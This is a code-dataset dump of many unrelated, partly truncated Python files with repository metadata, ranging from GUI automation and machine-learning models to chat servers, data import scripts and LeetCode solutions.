"MIT"
] | null | null | null | modules/file_helper.py | dada00321/ntust_moodle_resource_crawler | cc5d424ab9440d8e67bb072977fc58740d8bc968 | [
"MIT"
] | null | null | null | import json
def save_json(dict_, json_filepath):
''' [Example] Write JSON '''
'''
dict_ = {"0":{"title":"test-A", "is-available": False, "link":"https://www.AAA.XXX..."},
"1":{"title":"test-B", "is-available": True, "link":"https://www.BBB.XXX..."}}
with open("dict_.txt", 'w') as output_fi... | 31.5 | 92 | 0.570208 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 517 | 0.631258 |
cde6ca9c0b5b99aea51fe8a0efe3ed98163008e0 | 17,570 | py | Python | win/pywinauto/findbestmatch.py | sk8darr/BrowserRefresh-Sublime | daee0eda6480c07f8636ed24e5c555d24e088886 | [
"MIT",
"Unlicense"
] | 191 | 2015-01-02T12:17:07.000Z | 2021-05-26T09:26:05.000Z | win/pywinauto/findbestmatch.py | sk8darr/BrowserRefresh-Sublime | daee0eda6480c07f8636ed24e5c555d24e088886 | [
"MIT",
"Unlicense"
] | 48 | 2015-01-14T00:57:36.000Z | 2021-04-06T21:45:42.000Z | win/pywinauto/findbestmatch.py | sk8darr/BrowserRefresh-Sublime | daee0eda6480c07f8636ed24e5c555d24e088886 | [
"MIT",
"Unlicense"
] | 36 | 2015-01-14T18:54:25.000Z | 2021-07-18T10:54:42.000Z | # GUI Application automation and testing library
# Copyright (C) 2006 Mark Mc Mahon
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public License
# as published by the Free Software Foundation; either version 2.1
# of the License, or (at you... | 32.657993 | 86 | 0.594878 | 4,299 | 0.244678 | 0 | 0 | 0 | 0 | 0 | 0 | 8,676 | 0.493796 |
cde9443d5f9dce44149feca0d10e665a2fbcf090 | 1,074 | py | Python | setup.py | boichee/fabricator | 33ad4fa615c153817b014d6b7fe9807f1752db25 | [
"MIT"
] | 11 | 2018-07-09T07:08:16.000Z | 2018-07-13T14:05:46.000Z | setup.py | boichee/fabricator | 33ad4fa615c153817b014d6b7fe9807f1752db25 | [
"MIT"
] | 3 | 2020-03-24T17:37:47.000Z | 2021-02-02T22:18:59.000Z | setup.py | boichee/fabricator | 33ad4fa615c153817b014d6b7fe9807f1752db25 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
exclude_dirs = ['ez_setup', 'examples', 'tests', 'venv']
# Runtime requirements
reqs = [
'requests',
'six',
'future',
'aenum'
]
# Requirements for testing
test_reqs = ['pytest', 'hypothesis', 'requests_mock']
# Requirements for setup
setup_reqs = ['flake8'... | 26.85 | 83 | 0.650838 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 601 | 0.55959 |
cde9a03010ce87292ba1da645b7d397d96cc724e | 115 | py | Python | aitoolbox/cloud/__init__.py | mv1388/AIToolbox | c64ac4810a02d230ce471d86b758e82ea232a7e7 | [
"MIT"
] | 3 | 2019-10-12T12:24:09.000Z | 2020-08-02T02:42:43.000Z | aitoolbox/cloud/__init__.py | mv1388/aitoolbox | 1060435e6cbdfd19abcb726c4080b663536b7467 | [
"MIT"
] | 3 | 2020-04-10T14:07:07.000Z | 2020-04-22T19:04:38.000Z | aitoolbox/cloud/__init__.py | mv1388/aitoolbox | 1060435e6cbdfd19abcb726c4080b663536b7467 | [
"MIT"
] | null | null | null | s3_available_options = ['s3', 'aws_s3', 'aws']
gcs_available_options = ['gcs', 'google_storage', 'google storage']
| 38.333333 | 67 | 0.713043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 54 | 0.469565 |
cde9dfcf27b3e92945a09440ebd5cd1eb09e8452 | 12,607 | py | Python | src/gan/ccgan/ccGAN.py | matkir/Master_programs | 70c4c399f9c9fc3e1643e78694223b24d7b94b18 | [
"MIT"
] | null | null | null | src/gan/ccgan/ccGAN.py | matkir/Master_programs | 70c4c399f9c9fc3e1643e78694223b24d7b94b18 | [
"MIT"
] | null | null | null | src/gan/ccgan/ccGAN.py | matkir/Master_programs | 70c4c399f9c9fc3e1643e78694223b24d7b94b18 | [
"MIT"
] | null | null | null | from __future__ import print_function, division
if __name__=='__main__':
from cc_weights import Weight_model
else:
from . import Weight_model
from keras.models import load_model
import keras.backend as K
import plotload
import sys
from selector import Selector
#from masker import mask_from_template,mask_randoml... | 41.199346 | 142 | 0.546601 | 11,759 | 0.932736 | 0 | 0 | 0 | 0 | 0 | 0 | 3,307 | 0.262315 |
cdea49e6abeeb4e6ceb631ab1583ede7c457b5ed | 6,585 | py | Python | synapse/server.py | uroborus/synapse | 270825ab2a3e16bb8ffcdbcea058efd28a38e8e1 | [
"Apache-2.0"
] | 1 | 2021-09-09T08:50:20.000Z | 2021-09-09T08:50:20.000Z | synapse/server.py | uroborus/synapse | 270825ab2a3e16bb8ffcdbcea058efd28a38e8e1 | [
"Apache-2.0"
] | null | null | null | synapse/server.py | uroborus/synapse | 270825ab2a3e16bb8ffcdbcea058efd28a38e8e1 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2014 OpenMarket Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 31.658654 | 79 | 0.665907 | 4,919 | 0.747001 | 0 | 0 | 964 | 0.146393 | 0 | 0 | 3,137 | 0.476386 |
cdea57f865285710bac46af78cc530224ae5efeb | 359 | py | Python | pythonforandroid/recipes/kivy/__init__.py | inclement/p4a-experiment | 4e120e08cc3c33af89948307628c8b28fdf76b87 | [
"MIT"
] | 1 | 2015-06-09T21:12:09.000Z | 2015-06-09T21:12:09.000Z | pythonforandroid/recipes/kivy/__init__.py | inclement/p4a-experiment | 4e120e08cc3c33af89948307628c8b28fdf76b87 | [
"MIT"
] | null | null | null | pythonforandroid/recipes/kivy/__init__.py | inclement/p4a-experiment | 4e120e08cc3c33af89948307628c8b28fdf76b87 | [
"MIT"
] | null | null | null |
from pythonforandroid.toolchain import CythonRecipe, shprint, current_directory, ArchAndroid
from os.path import exists, join
import sh
import glob
class KivyRecipe(CythonRecipe):
version = 'stable'
url = 'https://github.com/kivy/kivy/archive/{version}.zip'
name = 'kivy'
depends = ['pygame', 'pyjniu... | 21.117647 | 92 | 0.721448 | 183 | 0.509749 | 0 | 0 | 0 | 0 | 0 | 0 | 92 | 0.256267 |
cdeaa27ba25e454daf95595f163fae1a13887999 | 1,220 | py | Python | chat.py | Programmer-RD-AI/Learning-NLP-PyTorch | 5780598340308995c0b8436d3031aa58ee7b81da | [
"Apache-2.0"
] | null | null | null | chat.py | Programmer-RD-AI/Learning-NLP-PyTorch | 5780598340308995c0b8436d3031aa58ee7b81da | [
"Apache-2.0"
] | null | null | null | chat.py | Programmer-RD-AI/Learning-NLP-PyTorch | 5780598340308995c0b8436d3031aa58ee7b81da | [
"Apache-2.0"
] | null | null | null | import random
import json
import torch
from model import NeuralNet
from nltk_utils import *
device = "cuda"
with open('intents.json','r') as f:
intents = json.load(f)
FILE = 'data.pth'
data = torch.load(FILE)
input_size = data['input_size']
output_size = data['output_size']
hidden_size = data['hidden_size']
all_wor... | 29.047619 | 74 | 0.648361 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 251 | 0.205738 |
cdeb4f70b3a53f9cb3413cfdc25708394eec070f | 329 | py | Python | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | 1 | 2021-03-02T08:04:25.000Z | 2021-03-02T08:04:25.000Z | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | null | null | null | Jay_Redis/Jay_Redis/utils/GetProxyIp.py | kimsax/gratuation_project | 99f842753f3403d3fdcd62316cf6a8d0091a5871 | [
"MIT"
] | null | null | null | # -*- utf-8 -*-
import random
import redis
import requests
def GetIps():
li = []
# url = 'http://122.51.95.201:8000/?country=国内&count=20'
url = 'http://127.0.0.1:8000/?country=国内&count=20'
ips = requests.get(url)
for ip in eval(ips.content):
li.append(ip[0]+':'+str(ip[1]))
return li
# ... | 20.5625 | 60 | 0.580547 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 136 | 0.403561 |
cdeb9ce72d1bf949c4fdc2a94b43168b90c61e61 | 876 | py | Python | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
] | 2 | 2019-04-18T12:28:58.000Z | 2021-01-04T14:52:07.000Z | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
] | 1 | 2019-01-04T14:46:00.000Z | 2019-06-04T12:31:45.000Z | setup.py | tbz-pariv/ftpservercontext | 426e98dd4983cc6977c4d071a831874726c0fae2 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import setuptools
setuptools.setup(
name='ftpservercontext',
version='2018.3.0',
license='commercial',
author='Thomas Guettler',
author_email='guettliml.ftpservercontext@thomas-guettler.de',
url='https://github.com/tbz-pariv/ftpservercontext',
long_description=open(... | 29.2 | 106 | 0.696347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 504 | 0.575342 |
cdecd7c4bafe572b5e961bd73c1a75878f9feaa8 | 3,428 | py | Python | zoomeye/cli.py | r0oike/zoomeye-python | b93f1c9c350e4fce7580f9f71ab1e76d06ce165d | [
"Apache-2.0"
] | null | null | null | zoomeye/cli.py | r0oike/zoomeye-python | b93f1c9c350e4fce7580f9f71ab1e76d06ce165d | [
"Apache-2.0"
] | null | null | null | zoomeye/cli.py | r0oike/zoomeye-python | b93f1c9c350e4fce7580f9f71ab1e76d06ce165d | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
* Filename: cli.py
* Description: cli program entry
* Time: 2020.11.30
* Author: liuf5
*/
"""
import os
import sys
import argparse
module_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
sys.path.insert(1, module_path)
from zoomeye import core
... | 26.369231 | 110 | 0.606768 | 121 | 0.035298 | 0 | 0 | 0 | 0 | 0 | 0 | 1,497 | 0.436698 |
cdece39680fd28858374924d70a1d3ff5d97fb90 | 462 | py | Python | statapy/regression/tests.py | DhananjayAshok/PyStata | b592414d78b87d565d8c59ae9487478a792b8c84 | [
"Apache-2.0"
] | null | null | null | statapy/regression/tests.py | DhananjayAshok/PyStata | b592414d78b87d565d8c59ae9487478a792b8c84 | [
"Apache-2.0"
] | null | null | null | statapy/regression/tests.py | DhananjayAshok/PyStata | b592414d78b87d565d8c59ae9487478a792b8c84 | [
"Apache-2.0"
] | null | null | null | import scipy.stats as stats
def mannwhitneyu(sample_0, sample_1, one_sided=False):
"""
Performs the Mann-Whitney U test
:param sample_0: array of values
:param sample_1: array of values
:param one_sided: True iff you want to use less than alternative hypothesis
:return: statistic, pvalue
"... | 35.538462 | 102 | 0.722944 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 250 | 0.541126 |
cdeceab8b898ec021afc4aa90ddeda2bd76d683c | 862 | py | Python | 3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py | RezaFirouzii/python-opencv-review | 454a2be7fa36516a2b1fbd4e6162068bba25c989 | [
"MIT"
] | null | null | null | 3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py | RezaFirouzii/python-opencv-review | 454a2be7fa36516a2b1fbd4e6162068bba25c989 | [
"MIT"
] | null | null | null | 3) Cartoonizing and Video Capture/#1 Accessing the webcam/webcam_access.py | RezaFirouzii/python-opencv-review | 454a2be7fa36516a2b1fbd4e6162068bba25c989 | [
"MIT"
] | null | null | null | import cv2 as cv
if __name__ == "__main__":
# 0 => first (default) webcam connected,
# 1 => second webcam and so on.
cap = cv.VideoCapture(0, cv.CAP_DSHOW)
# cv.namedWindow("Window")
if not cap.isOpened():
raise IOError("Webcam could not be opened!")
while True:
... | 25.352941 | 61 | 0.597448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 376 | 0.436195 |
cdf16ad97ffce90e11c1fa4d69eb40752cd40a16 | 3,928 | py | Python | apps/sso/access_requests/models.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | 3 | 2021-05-16T17:06:57.000Z | 2021-05-28T17:14:05.000Z | apps/sso/access_requests/models.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | null | null | null | apps/sso/access_requests/models.py | g10f/sso | ba6eb712add388c69d4880f5620a2e4ce42d3fee | [
"BSD-3-Clause"
] | null | null | null | import datetime
from current_user.models import CurrentUserField
from django.conf import settings
from django.db import models
from django.urls import reverse
from django.utils.timezone import now
from django.utils.translation import gettext_lazy as _
from sso.accounts.models import Application
from sso.models import ... | 39.28 | 111 | 0.649949 | 3,476 | 0.884929 | 0 | 0 | 66 | 0.016802 | 0 | 0 | 486 | 0.123727 |
cdf35f3aa036ddd5079307083d76c1f9e474653b | 1,518 | py | Python | test/snr_test.py | AP-Atul/wavelets | cff71e777759844b35f8e96f14930b2c71a215a1 | [
"MIT"
] | 5 | 2021-02-01T07:43:39.000Z | 2022-03-25T05:01:31.000Z | test/snr_test.py | AP-Atul/wavelets | cff71e777759844b35f8e96f14930b2c71a215a1 | [
"MIT"
] | null | null | null | test/snr_test.py | AP-Atul/wavelets | cff71e777759844b35f8e96f14930b2c71a215a1 | [
"MIT"
] | null | null | null | import os
from time import time
import numpy as np
import soundfile
from matplotlib import pyplot as plt
from wavelet.fast_transform import FastWaveletTransform
from wavelet.util.utility import threshold, mad, snr, amp_to_db
INPUT_FILE = "/example/input/file.wav"
OUTPUT_DIR = "/example/output/"
info = soundfile.inf... | 29.192308 | 108 | 0.689065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 322 | 0.212121 |
cdf4a1acc53ac8000703136e7a930c389adce55b | 1,546 | py | Python | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | 1 | 2018-10-25T01:31:15.000Z | 2018-10-25T01:31:15.000Z | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | 1 | 2018-07-16T01:39:39.000Z | 2018-07-16T01:39:39.000Z | KeyHookThread.py | v2okimochi/Keasy | 0c4d480a4b9fc88f47bbc11ed4ca248cbdc488f2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from pynput import keyboard
from PyQt5.QtCore import QThread, pyqtSignal
class KeyHooker(QThread):
# シグナル
pushCtrlSignal = pyqtSignal()
releaseCtrlSignal = pyqtSignal()
pushShiftSignal = pyqtSignal()
releaseShiftSignal = pyqtSignal()
pushCommandSignal = pyqtSignal()
... | 29.730769 | 72 | 0.599612 | 1,656 | 0.943052 | 0 | 0 | 0 | 0 | 0 | 0 | 440 | 0.250569 |
cdf4c8116e9e2bbcc1b35461d7c08335801aaba4 | 2,243 | py | Python | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | nad_receiver/nad_commands.py | mindigmarton/nad_receiver | 9449699d076011caf560d8c4384a9b1bf2512080 | [
"MIT"
] | null | null | null | """
Commands and operators used by NAD.
CMDS[domain][function]
"""
CMDS = {
'main':
{
'dimmer':
{'cmd': 'Main.Dimmer',
'supported_operators': ['+', '-', '=', '?']
},
'mute':
{'cmd': 'Main.Mute',
'supp... | 30.310811 | 60 | 0.296478 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 963 | 0.429336 |
cdf8455878051f84938cb9a928fc16329abe82f4 | 7,846 | py | Python | ui/Ui_addsite.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | ui/Ui_addsite.py | EUFAR/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | 2 | 2015-06-12T09:28:29.000Z | 2015-06-12T09:34:16.000Z | ui/Ui_addsite.py | eufarn7sp/asmm-eufar | 69ede7a24f757392e63f04091e86c50ab129016f | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'addsite.ui'
#
# Created by: PyQt5 UI code generator 5.6
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Addsite(object):
def setupUi(self, Addsite):
Addsite.setObject... | 46.702381 | 115 | 0.672827 | 7,607 | 0.969539 | 0 | 0 | 0 | 0 | 0 | 0 | 2,166 | 0.276064 |
cdf8ea07b2a210313250ff1ccb9f4bf6d44a0053 | 1,772 | py | Python | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | testmile-setu/setu/dispatcher/broker.py | test-mile/setu | b273a11e7f9462e64a370bda16f1952ecdbfb5a5 | [
"Apache-2.0"
] | null | null | null | from enum import Enum, auto
class SetuGuiAutoActorStateActionType(Enum):
INIT_STATE = auto()
END_STATE = auto()
class SetuGuiAutoActorAutomatorActionType(Enum):
LAUNCH = auto()
QUIT = auto()
GO_TO_URL = auto()
GO_BACK = auto()
GO_FORWARD = auto()
REFRESH = auto()
EXECUTE_JAVASCR... | 23.012987 | 48 | 0.682844 | 1,736 | 0.979684 | 0 | 0 | 0 | 0 | 0 | 0 | 36 | 0.020316 |
cdf8f1196a3909edc36aafce5347c3143f73a6ac | 76 | py | Python | conductor/utils/inputs.py | JoelLefkowitz/conductor | 9a5d3a833c17bd57080e538ea7584620560d9235 | [
"MIT"
] | 1 | 2021-08-21T21:34:22.000Z | 2021-08-21T21:34:22.000Z | conductor/utils/inputs.py | JoelLefkowitz/conductor | 9a5d3a833c17bd57080e538ea7584620560d9235 | [
"MIT"
] | null | null | null | conductor/utils/inputs.py | JoelLefkowitz/conductor | 9a5d3a833c17bd57080e538ea7584620560d9235 | [
"MIT"
] | null | null | null | def prompt(msg: str) -> bool:
return input(msg).lower() in ["y", "yes"]
| 25.333333 | 45 | 0.578947 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 | 0.105263 |
cdf93d47f329e66522fe3776469675377c2e7349 | 1,758 | py | Python | leetcode/0566_reshape_the_matrix.py | chaosWsF/Python-Practice | ff617675b6bcd125933024bb4c246b63a272314d | [
"BSD-2-Clause"
] | null | null | null | leetcode/0566_reshape_the_matrix.py | chaosWsF/Python-Practice | ff617675b6bcd125933024bb4c246b63a272314d | [
"BSD-2-Clause"
] | null | null | null | leetcode/0566_reshape_the_matrix.py | chaosWsF/Python-Practice | ff617675b6bcd125933024bb4c246b63a272314d | [
"BSD-2-Clause"
] | null | null | null | """
In MATLAB, there is a very useful function called 'reshape', which can reshape a matrix into
a new one with different size but keep its original data. You're given a matrix represented
by a two-dimensional array, and two positive integers r and c representing the row number and
column number of the wanted reshap... | 33.807692 | 100 | 0.606371 | 495 | 0.28157 | 0 | 0 | 0 | 0 | 0 | 0 | 1,271 | 0.722981 |
cdfba4673ccb2b05e2ef7ddcaa8aeaa3095e7451 | 4,629 | py | Python | python/main.py | LaraProject/rnn2java | f35b1b98f74864d4310e7866ad5271ae5389292d | [
"MIT"
] | null | null | null | python/main.py | LaraProject/rnn2java | f35b1b98f74864d4310e7866ad5271ae5389292d | [
"MIT"
] | null | null | null | python/main.py | LaraProject/rnn2java | f35b1b98f74864d4310e7866ad5271ae5389292d | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import socket
import select
from time import sleep
import message_pb2
from google.protobuf.internal import encoder
import tensorflow as tf
from tensorflow.keras import preprocessing
import pickle
import numpy as np
## RNN part
# Load the inference model
def load_inference_models(enc_file, dec_f... | 32.598592 | 140 | 0.712249 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 653 | 0.141067 |
cdfbbb1e16902c1d3761509ecf7d21633da2152a | 161,322 | py | Python | dlkit/json_/authorization/sessions.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 2 | 2018-02-23T12:16:11.000Z | 2020-10-08T17:54:24.000Z | dlkit/json_/authorization/sessions.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 87 | 2017-04-21T18:57:15.000Z | 2021-12-13T19:43:57.000Z | dlkit/json_/authorization/sessions.py | UOC/dlkit | a9d265db67e81b9e0f405457464e762e2c03f769 | [
"MIT"
] | 1 | 2018-03-01T16:44:25.000Z | 2018-03-01T16:44:25.000Z | """JSON implementations of authorization sessions."""
# pylint: disable=no-init
# Numerous classes don't require __init__.
# pylint: disable=too-many-public-methods,too-few-public-methods
# Number of methods are defined in specification
# pylint: disable=protected-access
# Access to protected methods allow... | 45.960684 | 186 | 0.654709 | 159,782 | 0.990454 | 0 | 0 | 102,051 | 0.632592 | 0 | 0 | 105,793 | 0.655788 |
cdfc9bf4504d5cc25bda0a98802b00001e0b1b9c | 1,031 | py | Python | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | LeetCode/516-longest-palindromic-subsequence.py | leaving-voider/LeetCode.cn-Record | 2922cbdab85556bc0625adc9e6ce44849232e4f4 | [
"MIT"
] | null | null | null | ###############################################################################################
# 还是常规题，和【5. 最长回文子串】不同在于【子串】和【子数组】是【连续】的，而【子序列】可以不连续
# 因此定义dp的方式就不一样，对于【子序列】可以定义长度，而【连续】的【子串】则用是否
###########
# 时间复杂度：O(n^2)
# 空间复杂度：O(n^2)
##############################################################################... | 44.826087 | 131 | 0.354995 | 758 | 0.585328 | 0 | 0 | 0 | 0 | 0 | 0 | 679 | 0.524324 |
cdfcd2a90ed7ec6257eb01c41e93f4909519bbec | 3,427 | py | Python | examples/vae.py | zhangyewu/edward | 8ec452eb0a3801df8bda984796034a9e945faec7 | [
"Apache-2.0"
] | 5,200 | 2016-05-03T04:59:01.000Z | 2022-03-31T03:32:26.000Z | examples/vae.py | zhangyewu/edward | 8ec452eb0a3801df8bda984796034a9e945faec7 | [
"Apache-2.0"
] | 724 | 2016-05-04T09:04:37.000Z | 2022-02-28T02:41:12.000Z | examples/vae.py | zhangyewu/edward | 8ec452eb0a3801df8bda984796034a9e945faec7 | [
"Apache-2.0"
] | 1,004 | 2016-05-03T22:45:14.000Z | 2022-03-25T00:08:08.000Z | """Variational auto-encoder for MNIST data.
References
----------
http://edwardlib.org/tutorials/decoder
http://edwardlib.org/tutorials/inference-networks
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import edward as ed
import numpy as np
import os
i... | 31.731481 | 77 | 0.676685 | 0 | 0 | 538 | 0.156989 | 0 | 0 | 0 | 0 | 861 | 0.25124 |
cdff5880102eb2ba8d22b6cbec2e9bb5407da963 | 2,196 | py | Python | backup.py | BigBlueHat/copy-couch | ab4759540faecae8239c94e8045f7fce1f4a4914 | [
"Apache-2.0"
] | null | null | null | backup.py | BigBlueHat/copy-couch | ab4759540faecae8239c94e8045f7fce1f4a4914 | [
"Apache-2.0"
] | null | null | null | backup.py | BigBlueHat/copy-couch | ab4759540faecae8239c94e8045f7fce1f4a4914 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
"""copy-couch makes copies of couches. no joke.
License: Apache 2.0 - http://opensource.org/licenses/Apache-2.0
"""
import argparse
import base64
import ConfigParser
import datetime
import json
import requests
argparser = argparse.ArgumentParser()
argparser.add_argument('config_file', type=fi... | 29.675676 | 74 | 0.659836 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 839 | 0.382058 |
a8042d0c00c4fb676c0f0e3967070e3d72d5ef12 | 3,568 | py | Python | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | null | null | null | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | null | null | null | import_scripts/gpcc2gcmon.py | Jozelito/Raster2TXT | 337c87298ffc6227ca952e9e5cd17a54979e2224 | [
"MIT"
] | 1 | 2018-05-29T21:16:44.000Z | 2018-05-29T21:16:44.000Z | #Script para la importacion de datos netCDF de un mes del GPCC en PostGIS.
#Autor: José I. Álvarez Francoso
import sys
from osgeo import gdal, ogr, osr
from osgeo.gdalconst import GA_ReadOnly, GA_Update
# Funcion para sobreescribir el mensaje de porcentaje completado
def restart_line():
sys.stdout.write('\r')
sys.s... | 36.783505 | 107 | 0.711323 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,431 | 0.40084 |
a804975ed4327041257e7e887706be1ffc7b7803 | 2,829 | py | Python | app.py | Raisler/Brazil_HDI_DataVisualization | 76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c | [
"MIT"
] | null | null | null | app.py | Raisler/Brazil_HDI_DataVisualization | 76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c | [
"MIT"
] | null | null | null | app.py | Raisler/Brazil_HDI_DataVisualization | 76dde95dd1a7171e30a4a2e180a9ecdcea6f8c7c | [
"MIT"
] | null | null | null | import streamlit as st
import pandas as pd
import numpy as np
import plotly.express as px
from plotly.subplots import make_subplots
import plotly.graph_objects as go
import matplotlib.pyplot as plt
def load_data(data):
data=pd.read_csv(data)
return data
df = load_data('hdi.csv')
st.title('Human Development Index i... | 40.414286 | 144 | 0.679392 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,208 | 0.425952 |
a804e02acc0b6d5ed28538bc5bf647eab91b6259 | 657 | py | Python | Examples/pycomBlink/main.py | sophie-bernier/RemoteOceanAcidificationMonitor | 6a8b799826a2eb9b1d5064883193c61eea0ee310 | [
"Unlicense"
] | 1 | 2021-06-22T23:07:31.000Z | 2021-06-22T23:07:31.000Z | Examples/pycomBlink/main.py | sophie-bernier/RemoteOceanAcidificationMonitor | 6a8b799826a2eb9b1d5064883193c61eea0ee310 | [
"Unlicense"
] | null | null | null | Examples/pycomBlink/main.py | sophie-bernier/RemoteOceanAcidificationMonitor | 6a8b799826a2eb9b1d5064883193c61eea0ee310 | [
"Unlicense"
] | null | null | null | # main.py
import pycom
import time
pycom.heartbeat(False)
red = 0x08
blue = 0x00
green = 0x00
sleepTime = 0.01
def setRgb(red, green, blue):
rgbValue = 0x000000
rgbValue |= (red << 16) | (green << 8) | blue
pycom.rgbled(rgbValue)
return
while True:
###
#if red >= 0x08:
# if green > 0:... | 16.425 | 49 | 0.464231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 255 | 0.388128 |
a8054920242ac3e7b7e99120e329e53db3f718af | 1,891 | py | Python | dsn/pp/construct.py | expressionsofchange/nerf0 | 788203619fc89c92e8c7301d62bbc4f1f4ee66e1 | [
"MIT"
] | 2 | 2019-04-30T05:42:05.000Z | 2019-08-11T19:17:20.000Z | dsn/pp/construct.py | expressionsofchange/nerf0 | 788203619fc89c92e8c7301d62bbc4f1f4ee66e1 | [
"MIT"
] | null | null | null | dsn/pp/construct.py | expressionsofchange/nerf0 | 788203619fc89c92e8c7301d62bbc4f1f4ee66e1 | [
"MIT"
] | null | null | null | from spacetime import get_s_address_for_t_address
from s_address import node_for_s_address
from dsn.s_expr.structure import TreeText
from dsn.pp.structure import PPNone, PPSingleLine, PPLispy, PPAnnotatedSExpr
from dsn.pp.clef import PPUnset, PPSetSingleLine, PPSetLispy
def build_annotated_tree(node, default_annota... | 35.679245 | 120 | 0.710206 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 507 | 0.268112 |
a8058f52d55c838079c4a938e2376efb1f6aa6ab | 3,704 | py | Python | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 4 | 2018-11-09T11:10:24.000Z | 2021-07-23T22:17:58.000Z | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 5 | 2017-05-02T15:28:01.000Z | 2018-04-16T18:29:15.000Z | geneparse/__init__.py | legaultmarc/geneparse | 5a844df77ded5adc765a086a8d346fce6ba01f3d | [
"MIT"
] | 1 | 2017-05-12T17:58:32.000Z | 2017-05-12T17:58:32.000Z | """A module to parse genetics file formats."""
# This file is part of geneparse.
#
# The MIT License (MIT)
#
# Copyright (c) 2017 Pharmacogenomics Centre
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in... | 37.04 | 79 | 0.687365 | 1,166 | 0.314795 | 0 | 0 | 0 | 0 | 0 | 0 | 1,927 | 0.520248 |
a8065cec94c9ac0bb277d2b7b2c4a7aa013dd5ba | 3,285 | py | Python | pallet.py | sprightlyManifesto/cadQuery2 | 207a1ff2420210460539400dfd1945e8b7245497 | [
"MIT"
